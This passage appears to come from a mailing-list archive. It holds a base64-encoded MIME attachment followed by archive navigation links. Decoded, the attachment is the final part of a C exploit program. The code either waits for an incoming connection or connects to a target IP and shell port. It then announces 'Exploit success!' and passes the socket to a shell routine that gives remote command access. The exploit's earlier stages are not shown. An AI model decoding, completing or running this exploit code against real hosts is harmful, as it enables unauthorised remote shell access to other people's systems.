YSBzaGVsbCBpdCBkaWRuJ3Qgd29yay5cbiIpOw0KIA0KCQkJaWYoYkNiKQ0KCQkJew0KCQkJCWlm
KGJMb2NhbCkNCgkJCQl7DQoJCQkJCXByaW50ZigiWytdIFdhaXQgZm9yIHNoZWxsLi4uXG4iKTsN
CgkJCQ0KCQkJCQlsZW4gPSBzaXplb2YoY2xpZW50KTsNCgkJCQkJczMgPSBhY2NlcHQoczIsIChz
dHJ1Y3Qgc29ja2FkZHIqKSZjbGllbnQsICZsZW4pOyANCgkJCQkJaWYoczMgIT0gSU5WQUxJRF9T
T0NLRVQpIA0KCQkJCQl7IA0KCQkJCQkJcHJpbnRmKCJbK10gRXhwbG9pdCBzdWNjZXNzISBHb29k
IGx1Y2shIDopXG4iKTsNCgkJCQkJCXByaW50ZigiWytdID09PS0tPT09LS09PT0tLT09PS0tPT09
LS09PT0tLT09PS0tPT09LS09PT0tLT09PS0tPT09LS09PT0tLT09PS0tPT09XG4iKTsNCgkJCQkJ
CXNoZWxsKHMzKTsNCgkJCQkJfQ0KCQkJCX0JDQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCXBy
aW50ZigiWytdIENvbm5lY3QgdG8gc2hlbGwuLi5cbiIpOw0KCQkJDQoJCQkJU2xlZXAoMTAwMCk7
DQoJCQkJczIgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSxJUFBST1RPX1RDUCk7DQoJCQkJ
c2VydmVyLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KCQkJCXNlcnZlci5zaW5fcG9ydCA9IGh0b25z
KHNocG9ydCk7DQoJCQkJc2VydmVyLnNpbl9hZGRyLnNfYWRkcj1pbmV0X2FkZHIoaXApOw0KDQoJ
CQkJcmV0ID0gY29ubmVjdChzMiwgKHN0cnVjdCBzb2NrYWRkciAqKSZzZXJ2ZXIsIHNpemVvZihz
ZXJ2ZXIpKTsNCgkJCQlpZihyZXQhPTApDQoJCQkJew0KCQkJCQlwcmludGYoIlstXSBFeHBsb2l0
IHNlZW0gZmFpbGVkLlxuIik7DQoJCQkJCV9fbGVhdmU7DQoJCQkJfQ0KCQkJDQoJCQkJcHJpbnRm
KCJbK10gRXhwbG9pdCBzdWNjZXNzISBHb29kIGx1Y2shIDopXG4iKTsNCgkJCQlwcmludGYoIlsr
XSA9PT0tLT09PS0tPT09LS09PT0tLT09PS0tPT09LS09PT0tLT09PS0tPT09LS09PT0tLT09PS0t
PT09LS09PT0tLT09PVxuIik7DQoJCQkJc2hlbGwoczIpOw0KCQkJfQ0KCQl9CQ0KCX0NCg0KI2lm
ZGVmIFVOSVgNCmV4aXRfdHJ5Og0KI2VuZGlmDQoNCiNpZm5kZWYgVU5JWA0KIAlfX2ZpbmFsbHkN
CiNlbmRpZg0KCXsNCgkJaWYocyAhPSBJTlZBTElEX1NPQ0tFVCkgY2xvc2Vzb2NrZXQocyk7DQoJ
CWlmKHMyICE9IElOVkFMSURfU09DS0VUKSBjbG9zZXNvY2tldChzMik7DQoJCWlmKHMzICE9IElO
VkFMSURfU09DS0VUKSBjbG9zZXNvY2tldChzMyk7DQoJCQ0KI2lmbmRlZiBVTklYDQoJCVdTQUNs
ZWFudXAoKTsNCiNlbmRpZg0KCX0NCg0KCXJldHVybiAwOw0KfQ0K

--=====001_Dragon067640841683_=====--


home help back first fref pref prev next nref lref last post